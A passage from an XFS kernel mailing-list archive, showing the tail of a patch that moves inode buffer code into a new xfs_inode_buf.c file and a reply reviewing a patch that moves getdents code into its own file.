+380,6 @@ xfs_dic2xflags( > (XFS_DFORK_Q(dip) ? XFS_XFLAG_HASATTR : 0); > } > > -static bool > -xfs_dinode_verify( > - struct xfs_mount *mp, > - struct xfs_inode *ip, > - struct xfs_dinode *dip) > -{ > - if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) > - return false; > - > - /* only version 3 or greater inodes are extensively verified here */ > - if (dip->di_version < 3) > - return true; > - > - if (!xfs_sb_version_hascrc(&mp->m_sb)) > - return false; > - if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, > - offsetof(struct xfs_dinode, di_crc))) > - return false; > - if (be64_to_cpu(dip->di_ino) != ip->i_ino) > - return false; > - if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_uuid)) > - return false; > - return true; > -} > - > -void > -xfs_dinode_calc_crc( > - struct xfs_mount *mp, > - struct xfs_dinode *dip) > -{ > - __uint32_t crc; > - > - if (dip->di_version < 3) > - return; > - > - ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); > - crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, > - offsetof(struct xfs_dinode, di_crc)); > - dip->di_crc = xfs_end_cksum(crc); > -} > - > -/* > - * Read the disk inode attributes into the in-core inode structure. > - * > - * If we are initialising a new inode and we are not utilising the > - * XFS_MOUNT_IKEEP inode cluster mode, we can simple build the new inode core > - * with a random generation number. If we are keeping inodes around, we need to > - * read the inode cluster to get the existing generation number off disk. > - */ > -int > -xfs_iread( > - xfs_mount_t *mp, > - xfs_trans_t *tp, > - xfs_inode_t *ip, > - uint iget_flags) > -{ > - xfs_buf_t *bp; > - xfs_dinode_t *dip; > - int error; > - > - /* > - * Fill in the location information in the in-core inode. > - */ > - error = xfs_imap(mp, tp, ip->i_ino, &ip->i_imap, iget_flags); > - if (error) > - return error; > - > - /* shortcut IO on inode allocation if possible */ > - if ((iget_flags & XFS_IGET_CREATE) && > - !(mp->m_flags & XFS_MOUNT_IKEEP)) { > - /* initialise the on-disk inode core */ > - memset(&ip->i_d, 0, sizeof(ip->i_d)); > - ip->i_d.di_magic = XFS_DINODE_MAGIC; > - ip->i_d.di_gen = prandom_u32(); > - if (xfs_sb_version_hascrc(&mp->m_sb)) { > - ip->i_d.di_version = 3; > - ip->i_d.di_ino = ip->i_ino; > - uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); > - } else > - ip->i_d.di_version = 2; > - return 0; > - } > - > - /* > - * Get pointers to the on-disk inode and the buffer containing it. > - */ > - error = xfs_imap_to_bp(mp, tp, &ip->i_imap, &dip, &bp, 0, iget_flags); > - if (error) > - return error; > - > - /* even unallocated inodes are verified */ > - if (!xfs_dinode_verify(mp, ip, dip)) { > - xfs_alert(mp, "%s: validation failed for inode %lld failed", > - __func__, ip->i_ino); > - > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, dip); > - error = XFS_ERROR(EFSCORRUPTED); > - goto out_brelse; > - } > - > - /* > - * If the on-disk inode is already linked to a directory > - * entry, copy all of the inode into the in-core inode. > - * xfs_iformat_fork() handles copying in the inode format > - * specific information. > - * Otherwise, just get the truly permanent information. > - */ > - if (dip->di_mode) { > - xfs_dinode_from_disk(&ip->i_d, dip); > - error = xfs_iformat_fork(ip, dip); > - if (error) { > -#ifdef DEBUG > - xfs_alert(mp, "%s: xfs_iformat() returned error %d", > - __func__, error); > -#endif /* DEBUG */ > - goto out_brelse; > - } > - } else { > - /* > - * Partial initialisation of the in-core inode. Just the bits > - * that xfs_ialloc won't overwrite or relies on being correct. > - */ > - ip->i_d.di_magic = be16_to_cpu(dip->di_magic); > - ip->i_d.di_version = dip->di_version; > - ip->i_d.di_gen = be32_to_cpu(dip->di_gen); > - ip->i_d.di_flushiter = be16_to_cpu(dip->di_flushiter); > - > - if (dip->di_version == 3) { > - ip->i_d.di_ino = be64_to_cpu(dip->di_ino); > - uuid_copy(&ip->i_d.di_uuid, &dip->di_uuid); > - } > - > - /* > - * Make sure to pull in the mode here as well in > - * case the inode is released without being used. > - * This ensures that xfs_inactive() will see that > - * the inode is already free and not try to mess > - * with the uninitialized part of it. > - */ > - ip->i_d.di_mode = 0; > - } > - > - /* > - * The inode format changed when we moved the link count and > - * made it 32 bits long. If this is an old format inode, > - * convert it in memory to look like a new one. If it gets > - * flushed to disk we will convert back before flushing or > - * logging it. We zero out the new projid field and the old link > - * count field. We'll handle clearing the pad field (the remains > - * of the old uuid field) when we actually convert the inode to > - * the new format. We don't change the version number so that we > - * can distinguish this from a real new format inode. > - */ > - if (ip->i_d.di_version == 1) { > - ip->i_d.di_nlink = ip->i_d.di_onlink; > - ip->i_d.di_onlink = 0; > - xfs_set_projid(ip, 0); > - } > - > - ip->i_delayed_blks = 0; > - > - /* > - * Mark the buffer containing the inode as something to keep > - * around for a while. This helps to keep recently accessed > - * meta-data in-core longer. > - */ > - xfs_buf_set_ref(bp, XFS_INO_REF); > - > - /* > - * Use xfs_trans_brelse() to release the buffer containing the on-disk > - * inode, because it was acquired with xfs_trans_read_buf() in > - * xfs_imap_to_bp() above. If tp is NULL, this is just a normal > - * brelse(). If we're within a transaction, then xfs_trans_brelse() > - * will only release the buffer if it is not dirty within the > - * transaction. It will be OK to release the buffer in this case, > - * because inodes on disk are never destroyed and we will be locking the > - * new in-core inode before putting it in the cache where other > - * processes can find it. Thus we don't have to worry about the inode > - * being changed just because we released the buffer. > - */ > - out_brelse: > - xfs_trans_brelse(tp, bp); > - return error; > -} > - > /* > * Allocate an inode on disk and return a copy of its in-core version. > * The in-core inode is locked exclusively. Set mode, nlink, and rdev > diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h > index 0bd034a..8f775ed 100644 > --- a/fs/xfs/xfs_inode.h > +++ b/fs/xfs/xfs_inode.h > @@ -18,24 +18,15 @@ > #ifndef __XFS_INODE_H__ > #define __XFS_INODE_H__ > > -struct posix_acl; > -struct xfs_dinode; > -struct xfs_inode; > - > +#include "xfs_inode_buf.h" > #include "xfs_inode_fork.h" > > /* > - * Inode location information. Stored in the inode and passed to > - * xfs_imap_to_bp() to get a buffer and dinode for a given inode. > + * Kernel only inode definitions > */ > -struct xfs_imap { > - xfs_daddr_t im_blkno; /* starting BB of inode chunk */ > - ushort im_len; /* length in BBs of inode chunk */ > - ushort im_boffset; /* inode offset in block in bytes */ > -}; > - > -#ifdef __KERNEL__ > > +struct xfs_dinode; > +struct xfs_inode; > struct xfs_buf; > struct xfs_bmap_free; > struct xfs_bmbt_irec; > @@ -347,7 +338,10 @@ int xfs_itruncate_extents(struct xfs_trans **, struct xfs_inode *, > int xfs_iunlink(struct xfs_trans *, xfs_inode_t *); > > void xfs_iext_realloc(xfs_inode_t *, int, int); > + > void xfs_iunpin_wait(xfs_inode_t *); > +#define xfs_ipincount(ip) ((unsigned int) atomic_read(&ip->i_pincount)) > + > int xfs_iflush(struct xfs_inode *, struct xfs_buf **); > void xfs_lock_inodes(xfs_inode_t **, int, uint); > void xfs_lock_two_inodes(xfs_inode_t *, xfs_inode_t *, uint); > @@ -367,27 +361,6 @@ do { \ > iput(VFS_I(ip)); \ > } while (0) > > -#endif /* __KERNEL__ */ > - > -int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, > - struct xfs_imap *, struct xfs_dinode **, > - struct xfs_buf **, uint, uint); > -int xfs_iread(struct xfs_mount *, struct xfs_trans *, > - struct xfs_inode *, uint); > -void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); > -void xfs_dinode_to_disk(struct xfs_dinode *, > - struct xfs_icdinode *); > -bool xfs_can_free_eofblocks(struct xfs_inode *, bool); > - > -#define xfs_ipincount(ip) ((unsigned int) atomic_read(&ip->i_pincount)) > - > -#if defined(DEBUG) > -void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); > -#else > -#define xfs_inobp_check(mp, bp) > -#endif /* DEBUG */ > - > extern struct kmem_zone *xfs_inode_zone; > -extern const struct xfs_buf_ops xfs_inode_buf_ops; > > #endif /* __XFS_INODE_H__ */ > diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c > new file mode 100644 > index 0000000..4abbaf3 > --- /dev/null > +++ b/fs/xfs/xfs_inode_buf.c > @@ -0,0 +1,444 @@ > +/* > + * Copyright (c) 2000-2006 Silicon Graphics, Inc. > + * All Rights Reserved. > + * > + * This program is free software; you can redistribute it and/or > + * modify it under the terms of the GNU General Public License as > + * published by the Free Software Foundation. > + * > + * This program is distributed in the hope that it would be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > + * GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write the Free Software Foundation, > + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > + */ > +#include "xfs.h" > +#include "xfs_fs.h" > +#include "xfs_format.h" > +#include "xfs_log.h" > +#include "xfs_trans.h" > +#include "xfs_sb.h" > +#include "xfs_ag.h" > +#include "xfs_mount.h" > +#include "xfs_bmap_btree.h" > +#include "xfs_ialloc_btree.h" > +#include "xfs_dinode.h" > +#include "xfs_inode.h" > +#include "xfs_error.h" > +#include "xfs_cksum.h" > +#include "xfs_icache.h" > +#include "xfs_ialloc.h" > + > +/* > + * Check that none of the inode's in the buffer have a next > + * unlinked field of 0. > + */ > +#if defined(DEBUG) > +void > +xfs_inobp_check( > + xfs_mount_t *mp, > + xfs_buf_t *bp) > +{ > + int i; > + int j; > + xfs_dinode_t *dip; > + > + j = mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog; > + > + for (i = 0; i < j; i++) { > + dip = (xfs_dinode_t *)xfs_buf_offset(bp, > + i * mp->m_sb.sb_inodesize); > + if (!dip->di_next_unlinked) { > + xfs_alert(mp, > + "Detected bogus zero next_unlinked field in incore inode buffer 0x%p.", > + bp); > + ASSERT(dip->di_next_unlinked); > + } > + } > +} > +#endif > + > +static void > +xfs_inode_buf_verify( > + struct xfs_buf *bp) > +{ > + struct xfs_mount *mp = bp->b_target->bt_mount; > + int i; > + int ni; > + > + /* > + * Validate the magic number and version of every inode in the buffer > + */ > + ni = XFS_BB_TO_FSB(mp, bp->b_length) * mp->m_sb.sb_inopblock; > + for (i = 0; i < ni; i++) { > + int di_ok; > + xfs_dinode_t *dip; > + > + dip = (struct xfs_dinode *)xfs_buf_offset(bp, > + (i << mp->m_sb.sb_inodelog)); > + di_ok = dip->di_magic == cpu_to_be16(XFS_DINODE_MAGIC) && > + XFS_DINODE_GOOD_VERSION(dip->di_version); > + if (unlikely(XFS_TEST_ERROR(!di_ok, mp, > + XFS_ERRTAG_ITOBP_INOTOBP, > + XFS_RANDOM_ITOBP_INOTOBP))) { > + xfs_buf_ioerror(bp, EFSCORRUPTED); > + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, > + mp, dip); > +#ifdef DEBUG > + xfs_emerg(mp, > + "bad inode magic/vsn daddr %lld #%d (magic=%x)", > + (unsigned long long)bp->b_bn, i, > + be16_to_cpu(dip->di_magic)); > + ASSERT(0); > +#endif > + } > + } > + xfs_inobp_check(mp, bp); > +} > + > +static void > +xfs_inode_buf_read_verify( > + struct xfs_buf *bp) > +{ > + xfs_inode_buf_verify(bp); > +} > + > +static void > +xfs_inode_buf_write_verify( > + struct xfs_buf *bp) > +{ > + xfs_inode_buf_verify(bp); > +} > + > +const struct xfs_buf_ops xfs_inode_buf_ops = { > + .verify_read = xfs_inode_buf_read_verify, > + .verify_write = xfs_inode_buf_write_verify, > +}; > + > +/* > + * This routine is called to map an inode to the buffer containing the on-disk > + * version of the inode. It returns a pointer to the buffer containing the > + * on-disk inode in the bpp parameter, and in the dipp parameter it returns a > + * pointer to the on-disk inode within that buffer. > + * > + * If a non-zero error is returned, then the contents of bpp and dipp are > + * undefined. > + */ > +int > +xfs_imap_to_bp( > + struct xfs_mount *mp, > + struct xfs_trans *tp, > + struct xfs_imap *imap, > + struct xfs_dinode **dipp, > + struct xfs_buf **bpp, > + uint buf_flags, > + uint iget_flags) > +{ > + struct xfs_buf *bp; > + int error; > + > + buf_flags |= XBF_UNMAPPED; > + error = xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, imap->im_blkno, > + (int)imap->im_len, buf_flags, &bp, > + &xfs_inode_buf_ops); > + if (error) { > + if (error == EAGAIN) { > + ASSERT(buf_flags & XBF_TRYLOCK); > + return error; > + } > + > + if (error == EFSCORRUPTED && > + (iget_flags & XFS_IGET_UNTRUSTED)) > + return XFS_ERROR(EINVAL); > + > + xfs_warn(mp, "%s: xfs_trans_read_buf() returned error %d.", > + __func__, error); > + return error; > + } > + > + *bpp = bp; > + *dipp = (struct xfs_dinode *)xfs_buf_offset(bp, imap->im_boffset); > + return 0; > +} > + > +STATIC void > +xfs_dinode_from_disk( > + xfs_icdinode_t *to, > + xfs_dinode_t *from) > +{ > + to->di_magic = be16_to_cpu(from->di_magic); > + to->di_mode = be16_to_cpu(from->di_mode); > + to->di_version = from ->di_version; > + to->di_format = from->di_format; > + to->di_onlink = be16_to_cpu(from->di_onlink); > + to->di_uid = be32_to_cpu(from->di_uid); > + to->di_gid = be32_to_cpu(from->di_gid); > + to->di_nlink = be32_to_cpu(from->di_nlink); > + to->di_projid_lo = be16_to_cpu(from->di_projid_lo); > + to->di_projid_hi = be16_to_cpu(from->di_projid_hi); > + memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); > + to->di_flushiter = be16_to_cpu(from->di_flushiter); > + to->di_atime.t_sec = be32_to_cpu(from->di_atime.t_sec); > + to->di_atime.t_nsec = be32_to_cpu(from->di_atime.t_nsec); > + to->di_mtime.t_sec = be32_to_cpu(from->di_mtime.t_sec); > + to->di_mtime.t_nsec = be32_to_cpu(from->di_mtime.t_nsec); > + to->di_ctime.t_sec = be32_to_cpu(from->di_ctime.t_sec); > + to->di_ctime.t_nsec = be32_to_cpu(from->di_ctime.t_nsec); > + to->di_size = be64_to_cpu(from->di_size); > + to->di_nblocks = be64_to_cpu(from->di_nblocks); > + to->di_extsize = be32_to_cpu(from->di_extsize); > + to->di_nextents = be32_to_cpu(from->di_nextents); > + to->di_anextents = be16_to_cpu(from->di_anextents); > + to->di_forkoff = from->di_forkoff; > + to->di_aformat = from->di_aformat; > + to->di_dmevmask = be32_to_cpu(from->di_dmevmask); > + to->di_dmstate = be16_to_cpu(from->di_dmstate); > + to->di_flags = be16_to_cpu(from->di_flags); > + to->di_gen = be32_to_cpu(from->di_gen); > + > + if (to->di_version == 3) { > + to->di_changecount = be64_to_cpu(from->di_changecount); > + to->di_crtime.t_sec = be32_to_cpu(from->di_crtime.t_sec); > + to->di_crtime.t_nsec = be32_to_cpu(from->di_crtime.t_nsec); > + to->di_flags2 = be64_to_cpu(from->di_flags2); > + to->di_ino = be64_to_cpu(from->di_ino); > + to->di_lsn = be64_to_cpu(from->di_lsn); > + memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); > + uuid_copy(&to->di_uuid, &from->di_uuid); > + } > +} > + > +void > +xfs_dinode_to_disk( > + xfs_dinode_t *to, > + xfs_icdinode_t *from) > +{ > + to->di_magic = cpu_to_be16(from->di_magic); > + to->di_mode = cpu_to_be16(from->di_mode); > + to->di_version = from ->di_version; > + to->di_format = from->di_format; > + to->di_onlink = cpu_to_be16(from->di_onlink); > + to->di_uid = cpu_to_be32(from->di_uid); > + to->di_gid = cpu_to_be32(from->di_gid); > + to->di_nlink = cpu_to_be32(from->di_nlink); > + to->di_projid_lo = cpu_to_be16(from->di_projid_lo); > + to->di_projid_hi = cpu_to_be16(from->di_projid_hi); > + memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); > + to->di_flushiter = cpu_to_be16(from->di_flushiter); > + to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); > + to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); > + to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); > + to->di_mtime.t_nsec = cpu_to_be32(from->di_mtime.t_nsec); > + to->di_ctime.t_sec = cpu_to_be32(from->di_ctime.t_sec); > + to->di_ctime.t_nsec = cpu_to_be32(from->di_ctime.t_nsec); > + to->di_size = cpu_to_be64(from->di_size); > + to->di_nblocks = cpu_to_be64(from->di_nblocks); > + to->di_extsize = cpu_to_be32(from->di_extsize); > + to->di_nextents = cpu_to_be32(from->di_nextents); > + to->di_anextents = cpu_to_be16(from->di_anextents); > + to->di_forkoff = from->di_forkoff; > + to->di_aformat = from->di_aformat; > + to->di_dmevmask = cpu_to_be32(from->di_dmevmask); > + to->di_dmstate = cpu_to_be16(from->di_dmstate); > + to->di_flags = cpu_to_be16(from->di_flags); > + to->di_gen = cpu_to_be32(from->di_gen); > + > + if (from->di_version == 3) { > + to->di_changecount = cpu_to_be64(from->di_changecount); > + to->di_crtime.t_sec = cpu_to_be32(from->di_crtime.t_sec); > + to->di_crtime.t_nsec = cpu_to_be32(from->di_crtime.t_nsec); > + to->di_flags2 = cpu_to_be64(from->di_flags2); > + to->di_ino = cpu_to_be64(from->di_ino); > + to->di_lsn = cpu_to_be64(from->di_lsn); > + memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); > + uuid_copy(&to->di_uuid, &from->di_uuid); > + } > +} > + > +static bool > +xfs_dinode_verify( > + struct xfs_mount *mp, > + struct xfs_inode *ip, > + struct xfs_dinode *dip) > +{ > + if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) > + return false; > + > + /* only version 3 or greater inodes are extensively verified here */ > + if (dip->di_version < 3) > + return true; > + > + if (!xfs_sb_version_hascrc(&mp->m_sb)) > + return false; > + if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, > + offsetof(struct xfs_dinode, di_crc))) > + return false; > + if (be64_to_cpu(dip->di_ino) != ip->i_ino) > + return false; > + if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_uuid)) > + return false; > + return true; > +} > + > +void > +xfs_dinode_calc_crc( > + struct xfs_mount *mp, > + struct xfs_dinode *dip) > +{ > + __uint32_t crc; > + > + if (dip->di_version < 3) > + return; > + > + ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); > + crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, > + offsetof(struct xfs_dinode, di_crc)); > + dip->di_crc = xfs_end_cksum(crc); > +} > + > +/* > + * Read the disk inode attributes into the in-core inode structure. > + * > + * If we are initialising a new inode and we are not utilising the > + * XFS_MOUNT_IKEEP inode cluster mode, we can simple build the new inode core > + * with a random generation number. If we are keeping inodes around, we need to > + * read the inode cluster to get the existing generation number off disk. > + */ > +int > +xfs_iread( > + xfs_mount_t *mp, > + xfs_trans_t *tp, > + xfs_inode_t *ip, > + uint iget_flags) > +{ > + xfs_buf_t *bp; > + xfs_dinode_t *dip; > + int error; > + > + /* > + * Fill in the location information in the in-core inode. > + */ > + error = xfs_imap(mp, tp, ip->i_ino, &ip->i_imap, iget_flags); > + if (error) > + return error; > + > + /* shortcut IO on inode allocation if possible */ > + if ((iget_flags & XFS_IGET_CREATE) && > + !(mp->m_flags & XFS_MOUNT_IKEEP)) { > + /* initialise the on-disk inode core */ > + memset(&ip->i_d, 0, sizeof(ip->i_d)); > + ip->i_d.di_magic = XFS_DINODE_MAGIC; > + ip->i_d.di_gen = prandom_u32(); > + if (xfs_sb_version_hascrc(&mp->m_sb)) { > + ip->i_d.di_version = 3; > + ip->i_d.di_ino = ip->i_ino; > + uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); > + } else > + ip->i_d.di_version = 2; > + return 0; > + } > + > + /* > + * Get pointers to the on-disk inode and the buffer containing it. > + */ > + error = xfs_imap_to_bp(mp, tp, &ip->i_imap, &dip, &bp, 0, iget_flags); > + if (error) > + return error; > + > + /* even unallocated inodes are verified */ > + if (!xfs_dinode_verify(mp, ip, dip)) { > + xfs_alert(mp, "%s: validation failed for inode %lld failed", > + __func__, ip->i_ino); > + > + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, dip); > + error = XFS_ERROR(EFSCORRUPTED); > + goto out_brelse; > + } > + > + /* > + * If the on-disk inode is already linked to a directory > + * entry, copy all of the inode into the in-core inode. > + * xfs_iformat_fork() handles copying in the inode format > + * specific information. > + * Otherwise, just get the truly permanent information. > + */ > + if (dip->di_mode) { > + xfs_dinode_from_disk(&ip->i_d, dip); > + error = xfs_iformat_fork(ip, dip); > + if (error) { > +#ifdef DEBUG > + xfs_alert(mp, "%s: xfs_iformat() returned error %d", > + __func__, error); > +#endif /* DEBUG */ > + goto out_brelse; > + } > + } else { > + /* > + * Partial initialisation of the in-core inode. Just the bits > + * that xfs_ialloc won't overwrite or relies on being correct. > + */ > + ip->i_d.di_magic = be16_to_cpu(dip->di_magic); > + ip->i_d.di_version = dip->di_version; > + ip->i_d.di_gen = be32_to_cpu(dip->di_gen); > + ip->i_d.di_flushiter = be16_to_cpu(dip->di_flushiter); > + > + if (dip->di_version == 3) { > + ip->i_d.di_ino = be64_to_cpu(dip->di_ino); > + uuid_copy(&ip->i_d.di_uuid, &dip->di_uuid); > + } > + > + /* > + * Make sure to pull in the mode here as well in > + * case the inode is released without being used. > + * This ensures that xfs_inactive() will see that > + * the inode is already free and not try to mess > + * with the uninitialized part of it. > + */ > + ip->i_d.di_mode = 0; > + } > + > + /* > + * The inode format changed when we moved the link count and > + * made it 32 bits long. If this is an old format inode, > + * convert it in memory to look like a new one. If it gets > + * flushed to disk we will convert back before flushing or > + * logging it. We zero out the new projid field and the old link > + * count field. We'll handle clearing the pad field (the remains > + * of the old uuid field) when we actually convert the inode to > + * the new format. We don't change the version number so that we > + * can distinguish this from a real new format inode. > + */ > + if (ip->i_d.di_version == 1) { > + ip->i_d.di_nlink = ip->i_d.di_onlink; > + ip->i_d.di_onlink = 0; > + xfs_set_projid(ip, 0); > + } > + > + ip->i_delayed_blks = 0; > + > + /* > + * Mark the buffer containing the inode as something to keep > + * around for a while. This helps to keep recently accessed > + * meta-data in-core longer. > + */ > + xfs_buf_set_ref(bp, XFS_INO_REF); > + > + /* > + * Use xfs_trans_brelse() to release the buffer containing the on-disk > + * inode, because it was acquired with xfs_trans_read_buf() in > + * xfs_imap_to_bp() above. If tp is NULL, this is just a normal > + * brelse(). If we're within a transaction, then xfs_trans_brelse() > + * will only release the buffer if it is not dirty within the > + * transaction. It will be OK to release the buffer in this case, > + * because inodes on disk are never destroyed and we will be locking the > + * new in-core inode before putting it in the cache where other > + * processes can find it. Thus we don't have to worry about the inode > + * being changed just because we released the buffer. > + */ > + out_brelse: > + xfs_trans_brelse(tp, bp); > + return error; > +} > diff --git a/fs/xfs/xfs_inode_buf.h b/fs/xfs/xfs_inode_buf.h > new file mode 100644 > index 0000000..b5f1e22 > --- /dev/null > +++ b/fs/xfs/xfs_inode_buf.h > @@ -0,0 +1,53 @@ > +/* > + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. > + * All Rights Reserved. > + * > + * This program is free software; you can redistribute it and/or > + * modify it under the terms of the GNU General Public License as > + * published by the Free Software Foundation. > + * > + * This program is distributed in the hope that it would be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > + * GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write the Free Software Foundation, > + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > + */ > +#ifndef __XFS_INODE_BUF_H__ > +#define __XFS_INODE_BUF_H__ > + > +struct xfs_inode; > +struct xfs_dinode; > +struct xfs_icdinode; > + > +/* > + * Inode location information. Stored in the inode and passed to > + * xfs_imap_to_bp() to get a buffer and dinode for a given inode. > + */ > +struct xfs_imap { > + xfs_daddr_t im_blkno; /* starting BB of inode chunk */ > + ushort im_len; /* length in BBs of inode chunk */ > + ushort im_boffset; /* inode offset in block in bytes */ > +}; > + > +int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, > + struct xfs_imap *, struct xfs_dinode **, > + struct xfs_buf **, uint, uint); > +int xfs_iread(struct xfs_mount *, struct xfs_trans *, > + struct xfs_inode *, uint); > +void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); > +void xfs_dinode_to_disk(struct xfs_dinode *, > + struct xfs_icdinode *); > +bool xfs_can_free_eofblocks(struct xfs_inode *, bool); > + > +#if defined(DEBUG) > +void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); > +#else > +#define xfs_inobp_check(mp, bp) > +#endif /* DEBUG */ > + > +extern const struct xfs_buf_ops xfs_inode_buf_ops; > + > +#endif /* __XFS_INODE_BUF_H__ */ > From bfoster@redhat.com Fri Jul 26 08:03:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 36ECA29E03 for ; Fri, 26 Jul 2013 08:03:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 23E4130408E for ; Fri, 26 Jul 2013 06:03:43 -0700 (PDT) X-ASG-Debug-ID: 1374843816-04cbb02c3bbe110001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id dX6f47tKVgAKEBBG for ; Fri, 26 Jul 2013 06:03:36 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6QD3ZPf016256 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 26 Jul 2013 09:03:35 -0400 Received: from laptop.bfoster (vpn-50-221.rdu2.redhat.com [10.10.50.221]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6QD3Xic022078 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 26 Jul 2013 09:03:34 -0400 Message-ID: <51F272E3.1020603@redhat.com> Date: Fri, 26 Jul 2013 09:00:19 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 15/49] xfs: move getdents code into it's own file References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-16-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 15/49] xfs: move getdents code into it's own file In-Reply-To: <1374215120-7271-16-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374843816 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > The directory readdir code isno used by userspace, but it is > intermingled with files that are shared with userspace. This makes > it difficult to compare the differences between the userspac eand > kernel files are the userspace files don't have the getdents code in > them. Move all the kernel getdents code to a separate file to bring > the shared content between userspace and kernel files closer > together. > > Signed-off-by: Dave Chinner > --- xfs_dir3_block_read() becomes non-static, xfs_dir2_leaf_getdents(), xfs_dir2_block_getdents(), xfs_dir2_sf_getdents() all moved and become static. Otherwise a clean move: Reviewed-by: Brian Foster > fs/xfs/Makefile | 1 + > fs/xfs/xfs_dir2.c | 31 --- > fs/xfs/xfs_dir2_block.c | 97 +------ > fs/xfs/xfs_dir2_leaf.c | 390 ---------------------------- > fs/xfs/xfs_dir2_priv.h | 7 +- > fs/xfs/xfs_dir2_readdir.c | 646 ++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_dir2_sf.c | 94 ------- > 7 files changed, 650 insertions(+), 616 deletions(-) > create mode 100644 fs/xfs/xfs_dir2_readdir.c > > diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile > index 7f2319d..b6158af 100644 > --- a/fs/xfs/Makefile > +++ b/fs/xfs/Makefile > @@ -30,6 +30,7 @@ xfs-y += xfs_aops.o \ > xfs_bit.o \ > xfs_buf.o \ > xfs_dfrag.o \ > + xfs_dir2_readdir.o \ > xfs_discard.o \ > xfs_error.o \ > xfs_export.o \ > diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c > index 8f023de..431be44 100644 > --- a/fs/xfs/xfs_dir2.c > +++ b/fs/xfs/xfs_dir2.c > @@ -363,37 +363,6 @@ xfs_dir_removename( > } > > /* > - * Read a directory. > - */ > -int > -xfs_readdir( > - xfs_inode_t *dp, > - struct dir_context *ctx, > - size_t bufsize) > -{ > - int rval; /* return value */ > - int v; /* type-checking value */ > - > - trace_xfs_readdir(dp); > - > - if (XFS_FORCED_SHUTDOWN(dp->i_mount)) > - return XFS_ERROR(EIO); > - > - ASSERT(S_ISDIR(dp->i_d.di_mode)); > - XFS_STATS_INC(xs_dir_getdents); > - 